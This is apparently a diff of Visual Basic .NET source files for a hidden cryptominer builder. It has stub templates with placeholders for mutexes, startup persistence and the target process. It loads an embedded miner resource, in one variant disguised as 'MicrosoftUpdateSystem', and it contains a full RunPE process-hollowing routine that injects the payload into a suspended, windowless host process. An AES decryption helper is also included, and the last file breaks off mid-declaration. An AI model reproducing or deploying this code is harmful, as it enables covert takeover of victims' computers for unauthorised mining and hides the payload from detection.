<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
Binary file not shown.
@@ -0,0 +1,165 @@
|
||||
Imports System, Microsoft.VisualBasic
|
||||
Imports Microsoft.Win32
|
||||
Imports System.Reflection
|
||||
|
||||
<Assembly: AssemblyTitle("{TITLE}")> 'done
|
||||
<Assembly: AssemblyDescription("{DESC}")> 'done
|
||||
<Assembly: AssemblyCompany("{COMPANY}")> 'done
|
||||
<Assembly: AssemblyProduct("{PRODUCT}")> 'done
|
||||
<Assembly: AssemblyCopyright("{COPYRIGHT}")> 'done
|
||||
<Assembly: AssemblyTrademark("{TRADEMARK}")> 'done
|
||||
<Assembly: AssemblyFileVersion("{FVERSION}")> 'done
|
||||
<Assembly: AssemblyVersion("{PVERSION}")> 'done
|
||||
|
||||
Module Module1
|
||||
%MUTEXOBJ%
|
||||
Sub Main()
|
||||
%CHECKMUTEX%
|
||||
%DOSTARTUP%
|
||||
|
||||
Dim r As New Resources.ResourceManager("hMine", Assembly.GetExecutingAssembly())
|
||||
Dim bytes As Byte() = DirectCast(r.GetObject("hMiner"), Byte())
|
||||
|
||||
'rMinerPE.Create(IO.File.ReadAllBytes("D:\Projekte\RunPE testing\RunPE testing\jhProtominer.exe"), System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "%INJECT%", "%ARGS%", %DEBUG%)
|
||||
rMinerPE.Create(bytes, System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "%INJECT%", "%ARGS%", %DEBUG%)
|
||||
|
||||
'%ARGS%
|
||||
End Sub
|
||||
|
||||
%MUTEXSUB%
|
||||
|
||||
%STARTUPSUB%
|
||||
|
||||
%CORESUB%
|
||||
|
||||
End Module
|
||||
|
||||
Public NotInheritable Class rMinerPE
|
||||
Private Sub New()
|
||||
End Sub
|
||||
Public Shared Function Create(ByVal exeBuffer As Byte(), ByVal hostProcess As String, Optional ByVal optionalArguments As String = "", Optional ByVal Debug As Boolean = False) As Boolean
|
||||
Dim IMAGE_SECTION_HEADER As Byte() = New Byte(39) {}
|
||||
|
||||
Dim IMAGE_NT_HEADERS As Byte() = New Byte(247) {}
|
||||
|
||||
Dim IMAGE_DOS_HEADER As Byte() = New Byte(63) {}
|
||||
|
||||
Dim PROCESS_INFO As Integer() = New Integer(3) {}
|
||||
|
||||
Dim CONTEXT As Byte() = New Byte(715) {}
|
||||
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(CONTEXT_FULL), 0, CONTEXT, 0, 4)
|
||||
|
||||
|
||||
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length)
|
||||
|
||||
|
||||
|
||||
If BitConverter.ToUInt16(IMAGE_DOS_HEADER, 0) <> IMAGE_DOS_SIGNATURE Then
|
||||
Return False
|
||||
End If
|
||||
|
||||
Dim e_lfanew As Int32 = BitConverter.ToInt32(IMAGE_DOS_HEADER, &H3C)
|
||||
|
||||
|
||||
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length)
|
||||
|
||||
If BitConverter.ToUInt32(IMAGE_NT_HEADERS, 0) <> IMAGE_NT_SIGNATURE Then
|
||||
Return False
|
||||
End If
|
||||
|
||||
If Not String.IsNullOrEmpty(optionalArguments) Then
|
||||
hostProcess += " " & optionalArguments
|
||||
End If
|
||||
|
||||
If Debug Then
|
||||
If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_SUSPENDED, _
|
||||
IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then
|
||||
Return False
|
||||
End If
|
||||
Else
|
||||
If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_NO_WINDOW + CREATE_SUSPENDED, _
|
||||
IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then
|
||||
Return False
|
||||
End If
|
||||
End If
|
||||
|
||||
|
||||
Dim ImageBase As IntPtr = New IntPtr(BitConverter.ToInt32(IMAGE_NT_HEADERS, &H34))
|
||||
|
||||
NtUnmapViewOfSection(CType(PROCESS_INFO(0), IntPtr), ImageBase)
|
||||
|
||||
If VirtualAllocEx(CType(PROCESS_INFO(0), IntPtr), ImageBase, BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H50), MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE) = IntPtr.Zero Then
|
||||
Create(exeBuffer, hostProcess, optionalArguments)
|
||||
End If
|
||||
|
||||
NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), ImageBase, System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, 0), BitConverter.ToUInt32(IMAGE_NT_HEADERS, 84), IntPtr.Zero)
|
||||
|
||||
For i As UShort = 0 To CUShort(BitConverter.ToUInt16(IMAGE_NT_HEADERS, &H6) - 1)
|
||||
|
||||
Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length)
|
||||
|
||||
Dim ptp As IntPtr = System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, CInt(BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H14)))
|
||||
|
||||
NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), CType(CInt(ImageBase) + BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &HC), IntPtr), ptp, BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H10), IntPtr.Zero)
|
||||
Next
|
||||
|
||||
|
||||
NtGetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0))
|
||||
|
||||
Dim ti1 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HAC
|
||||
|
||||
NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(ti1, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero)
|
||||
|
||||
Dim ti2 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HB0
|
||||
'OLD NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HAC, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero)
|
||||
System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(ti2, IntPtr), 4)
|
||||
'OLD System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HB0, IntPtr), 4)
|
||||
|
||||
NtSetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0))
|
||||
|
||||
NtResumeThread(CType(PROCESS_INFO(1), IntPtr), IntPtr.Zero)
|
||||
|
||||
Return True
|
||||
End Function
|
||||
|
||||
|
||||
Private Const CONTEXT_FULL As UInteger = &H10007
|
||||
Private Const CREATE_SUSPENDED As Integer = &H4
|
||||
Private Const CREATE_NO_WINDOW As Integer = &H8000000
|
||||
Private Const MEM_COMMIT As Integer = &H1000
|
||||
Private Const MEM_RESERVE As Integer = &H2000
|
||||
Private Const PAGE_EXECUTE_READWRITE As Integer = &H40
|
||||
Private Const IMAGE_DOS_SIGNATURE As UShort = &H5A4D
|
||||
|
||||
Private Const IMAGE_NT_SIGNATURE As UInteger = &H4550
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> _
|
||||
Private Shared Function CreateProcess(ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As IntPtr, ByVal lpThreadAttributes As IntPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As UInteger, _
|
||||
ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, ByVal lpStartupInfo As Byte(), ByVal lpProcessInfo As Integer()) As Boolean
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> _
|
||||
Private Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr) As UInteger
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtWriteVirtualMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As IntPtr, ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As IntPtr) As Integer
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtGetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtSetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtResumeThread(ByVal hThread As IntPtr, ByVal SuspendCount As IntPtr) As UInteger
|
||||
End Function
|
||||
End Class
|
||||
@@ -0,0 +1,165 @@
|
||||
Imports System, Microsoft.VisualBasic
|
||||
Imports Microsoft.Win32
|
||||
Imports System.Reflection
|
||||
|
||||
<Assembly: AssemblyTitle("{TITLE}")> 'done
|
||||
<Assembly: AssemblyDescription("{DESC}")> 'done
|
||||
<Assembly: AssemblyCompany("{COMPANY}")> 'done
|
||||
<Assembly: AssemblyProduct("{PRODUCT}")> 'done
|
||||
<Assembly: AssemblyCopyright("{COPYRIGHT}")> 'done
|
||||
<Assembly: AssemblyTrademark("{TRADEMARK}")> 'done
|
||||
<Assembly: AssemblyFileVersion("{FVERSION}")> 'done
|
||||
<Assembly: AssemblyVersion("{PVERSION}")> 'done
|
||||
|
||||
Module Module1
|
||||
%MUTEXOBJ%
|
||||
Sub Main()
|
||||
%CHECKMUTEX%
|
||||
%DOSTARTUP%
|
||||
|
||||
Dim r As New Resources.ResourceManager("MicrosoftUpdateSystem", Assembly.GetExecutingAssembly())
|
||||
Dim bytes As Byte() = DirectCast(r.GetObject("MicrosoftUpdateSystem"), Byte())
|
||||
|
||||
'rMinerPE.Create(IO.File.ReadAllBytes("D:\Projekte\RunPE testing\RunPE testing\jhProtominer.exe"), System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "%INJECT%", "%ARGS%", %DEBUG%)
|
||||
rMinerPE.Create(bytes, System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "%INJECT%", "%ARGS%", %DEBUG%)
|
||||
|
||||
'%ARGS%
|
||||
End Sub
|
||||
|
||||
%MUTEXSUB%
|
||||
|
||||
%STARTUPSUB%
|
||||
|
||||
%CORESUB%
|
||||
|
||||
End Module
|
||||
|
||||
Public NotInheritable Class rMinerPE
|
||||
Private Sub New()
|
||||
End Sub
|
||||
Public Shared Function Create(ByVal exeBuffer As Byte(), ByVal hostProcess As String, Optional ByVal optionalArguments As String = "", Optional ByVal Debug As Boolean = False) As Boolean
|
||||
Dim IMAGE_SECTION_HEADER As Byte() = New Byte(39) {}
|
||||
|
||||
Dim IMAGE_NT_HEADERS As Byte() = New Byte(247) {}
|
||||
|
||||
Dim IMAGE_DOS_HEADER As Byte() = New Byte(63) {}
|
||||
|
||||
Dim PROCESS_INFO As Integer() = New Integer(3) {}
|
||||
|
||||
Dim CONTEXT As Byte() = New Byte(715) {}
|
||||
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(CONTEXT_FULL), 0, CONTEXT, 0, 4)
|
||||
|
||||
|
||||
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length)
|
||||
|
||||
|
||||
|
||||
If BitConverter.ToUInt16(IMAGE_DOS_HEADER, 0) <> IMAGE_DOS_SIGNATURE Then
|
||||
Return False
|
||||
End If
|
||||
|
||||
Dim e_lfanew As Int32 = BitConverter.ToInt32(IMAGE_DOS_HEADER, &H3C)
|
||||
|
||||
|
||||
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length)
|
||||
|
||||
If BitConverter.ToUInt32(IMAGE_NT_HEADERS, 0) <> IMAGE_NT_SIGNATURE Then
|
||||
Return False
|
||||
End If
|
||||
|
||||
If Not String.IsNullOrEmpty(optionalArguments) Then
|
||||
hostProcess += " " & optionalArguments
|
||||
End If
|
||||
|
||||
If Debug Then
|
||||
If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_SUSPENDED, _
|
||||
IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then
|
||||
Return False
|
||||
End If
|
||||
Else
|
||||
If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_NO_WINDOW + CREATE_SUSPENDED, _
|
||||
IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then
|
||||
Return False
|
||||
End If
|
||||
End If
|
||||
|
||||
|
||||
Dim ImageBase As IntPtr = New IntPtr(BitConverter.ToInt32(IMAGE_NT_HEADERS, &H34))
|
||||
|
||||
NtUnmapViewOfSection(CType(PROCESS_INFO(0), IntPtr), ImageBase)
|
||||
|
||||
If VirtualAllocEx(CType(PROCESS_INFO(0), IntPtr), ImageBase, BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H50), MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE) = IntPtr.Zero Then
|
||||
Create(exeBuffer, hostProcess, optionalArguments)
|
||||
End If
|
||||
|
||||
NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), ImageBase, System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, 0), BitConverter.ToUInt32(IMAGE_NT_HEADERS, 84), IntPtr.Zero)
|
||||
|
||||
For i As UShort = 0 To CUShort(BitConverter.ToUInt16(IMAGE_NT_HEADERS, &H6) - 1)
|
||||
|
||||
Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length)
|
||||
|
||||
Dim ptp As IntPtr = System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, CInt(BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H14)))
|
||||
|
||||
NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), CType(CInt(ImageBase) + BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &HC), IntPtr), ptp, BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H10), IntPtr.Zero)
|
||||
Next
|
||||
|
||||
|
||||
NtGetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0))
|
||||
|
||||
Dim ti1 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HAC
|
||||
|
||||
NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(ti1, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero)
|
||||
|
||||
Dim ti2 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HB0
|
||||
'OLD NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HAC, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero)
|
||||
System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(ti2, IntPtr), 4)
|
||||
'OLD System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HB0, IntPtr), 4)
|
||||
|
||||
NtSetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0))
|
||||
|
||||
NtResumeThread(CType(PROCESS_INFO(1), IntPtr), IntPtr.Zero)
|
||||
|
||||
Return True
|
||||
End Function
|
||||
|
||||
|
||||
Private Const CONTEXT_FULL As UInteger = &H10007
|
||||
Private Const CREATE_SUSPENDED As Integer = &H4
|
||||
Private Const CREATE_NO_WINDOW As Integer = &H8000000
|
||||
Private Const MEM_COMMIT As Integer = &H1000
|
||||
Private Const MEM_RESERVE As Integer = &H2000
|
||||
Private Const PAGE_EXECUTE_READWRITE As Integer = &H40
|
||||
Private Const IMAGE_DOS_SIGNATURE As UShort = &H5A4D
|
||||
|
||||
Private Const IMAGE_NT_SIGNATURE As UInteger = &H4550
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> _
|
||||
Private Shared Function CreateProcess(ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As IntPtr, ByVal lpThreadAttributes As IntPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As UInteger, _
|
||||
ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, ByVal lpStartupInfo As Byte(), ByVal lpProcessInfo As Integer()) As Boolean
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> _
|
||||
Private Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr) As UInteger
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtWriteVirtualMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As IntPtr, ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As IntPtr) As Integer
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtGetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtSetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtResumeThread(ByVal hThread As IntPtr, ByVal SuspendCount As IntPtr) As UInteger
|
||||
End Function
|
||||
End Class
|
||||
@@ -0,0 +1,171 @@
|
||||
Option Strict On
|
||||
|
||||
Imports System.Reflection
|
||||
|
||||
Module Stub_edit
|
||||
|
||||
Sub main()
|
||||
|
||||
Dim r As New Resources.ResourceManager("rMine", Assembly.GetExecutingAssembly())
|
||||
Dim bytes As Byte() = DirectCast(r.GetObject("rMiner"), Byte())
|
||||
|
||||
|
||||
rMinerPE.Create(IO.File.ReadAllBytes("D:\Projekte\RunPE testing\RunPE testing\jhProtominer.exe"), System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "vbc.exe", "%ARGS%")
|
||||
End Sub
|
||||
|
||||
Public Function AESDecrypt(ByVal input As String, ByVal pass As String) As String
|
||||
Dim AES As New System.Security.Cryptography.RijndaelManaged
|
||||
Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
|
||||
Dim decrypted As String = ""
|
||||
Try
|
||||
Dim hash(31) As Byte
|
||||
Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
|
||||
Array.Copy(temp, 0, hash, 0, 16)
|
||||
Array.Copy(temp, 0, hash, 15, 16)
|
||||
AES.Key = hash
|
||||
AES.Mode = Security.Cryptography.CipherMode.ECB
|
||||
Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
|
||||
Dim Buffer As Byte() = Convert.FromBase64String(input)
|
||||
decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
|
||||
Return decrypted
|
||||
Catch ex As Exception
|
||||
End Try
|
||||
End Function
|
||||
|
||||
Function getCores() As String
|
||||
Dim i As Integer
|
||||
i = CInt(Environment.ProcessorCount / 2)
|
||||
Dim s As String = " " & CStr(i)
|
||||
Return s
|
||||
End Function
|
||||
End Module
|
||||
|
||||
Public NotInheritable Class rMinerPE
|
||||
Private Sub New()
|
||||
End Sub
|
||||
Public Shared Function Create(ByVal exeBuffer As Byte(), ByVal hostProcess As String, Optional ByVal optionalArguments As String = "", Optional ByVal Debug As Boolean = False) As Boolean
|
||||
Dim IMAGE_SECTION_HEADER As Byte() = New Byte(39) {}
|
||||
|
||||
Dim IMAGE_NT_HEADERS As Byte() = New Byte(247) {}
|
||||
|
||||
Dim IMAGE_DOS_HEADER As Byte() = New Byte(63) {}
|
||||
|
||||
Dim PROCESS_INFO As Integer() = New Integer(3) {}
|
||||
|
||||
Dim CONTEXT As Byte() = New Byte(715) {}
|
||||
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(CONTEXT_FULL), 0, CONTEXT, 0, 4)
|
||||
|
||||
|
||||
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length)
|
||||
|
||||
|
||||
|
||||
If BitConverter.ToUInt16(IMAGE_DOS_HEADER, 0) <> IMAGE_DOS_SIGNATURE Then
|
||||
Return False
|
||||
End If
|
||||
|
||||
Dim e_lfanew As Int32 = BitConverter.ToInt32(IMAGE_DOS_HEADER, &H3C)
|
||||
|
||||
|
||||
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length)
|
||||
|
||||
If BitConverter.ToUInt32(IMAGE_NT_HEADERS, 0) <> IMAGE_NT_SIGNATURE Then
|
||||
Return False
|
||||
End If
|
||||
|
||||
If Not String.IsNullOrEmpty(optionalArguments) Then
|
||||
hostProcess += " " & optionalArguments
|
||||
End If
|
||||
|
||||
If Debug Then
|
||||
If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_SUSPENDED, _
|
||||
IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then
|
||||
Return False
|
||||
End If
|
||||
Else
|
||||
If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_NO_WINDOW + CREATE_SUSPENDED, _
|
||||
IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then
|
||||
Return False
|
||||
End If
|
||||
End If
|
||||
|
||||
|
||||
Dim ImageBase As IntPtr = New IntPtr(BitConverter.ToInt32(IMAGE_NT_HEADERS, &H34))
|
||||
|
||||
NtUnmapViewOfSection(CType(PROCESS_INFO(0), IntPtr), ImageBase)
|
||||
|
||||
If VirtualAllocEx(CType(PROCESS_INFO(0), IntPtr), ImageBase, BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H50), MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE) = IntPtr.Zero Then
|
||||
Create(exeBuffer, hostProcess, optionalArguments)
|
||||
End If
|
||||
|
||||
NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), ImageBase, System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, 0), BitConverter.ToUInt32(IMAGE_NT_HEADERS, 84), IntPtr.Zero)
|
||||
|
||||
For i As UShort = 0 To CUShort(BitConverter.ToUInt16(IMAGE_NT_HEADERS, &H6) - 1)
|
||||
|
||||
Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length)
|
||||
|
||||
Dim ptp As IntPtr = System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, CInt(BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H14)))
|
||||
|
||||
NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), CType(CInt(ImageBase) + BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &HC), IntPtr), ptp, BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H10), IntPtr.Zero)
|
||||
Next
|
||||
|
||||
|
||||
NtGetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0))
|
||||
|
||||
Dim ti1 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HAC
|
||||
|
||||
NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(ti1, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero)
|
||||
|
||||
Dim ti2 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HB0
|
||||
'OLD NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HAC, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero)
|
||||
System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(ti2, IntPtr), 4)
|
||||
'OLD System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HB0, IntPtr), 4)
|
||||
|
||||
NtSetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0))
|
||||
|
||||
NtResumeThread(CType(PROCESS_INFO(1), IntPtr), IntPtr.Zero)
|
||||
|
||||
Return True
|
||||
End Function
|
||||
|
||||
|
||||
Private Const CONTEXT_FULL As UInteger = &H10007
|
||||
Private Const CREATE_SUSPENDED As Integer = &H4
|
||||
Private Const CREATE_NO_WINDOW As Integer = &H8000000
|
||||
Private Const MEM_COMMIT As Integer = &H1000
|
||||
Private Const MEM_RESERVE As Integer = &H2000
|
||||
Private Const PAGE_EXECUTE_READWRITE As Integer = &H40
|
||||
Private Const IMAGE_DOS_SIGNATURE As UShort = &H5A4D
|
||||
|
||||
Private Const IMAGE_NT_SIGNATURE As UInteger = &H4550
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> _
|
||||
Private Shared Function CreateProcess(ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As IntPtr, ByVal lpThreadAttributes As IntPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As UInteger, _
|
||||
ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, ByVal lpStartupInfo As Byte(), ByVal lpProcessInfo As Integer()) As Boolean
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> _
|
||||
Private Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
Private Shared Function NtUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr) As UInteger
|
||||
End Function
|
||||
|
||||
<System.Runtime.InteropServices.DllImport("ntdll.dll", SetLastError:=True)> _
|
||||
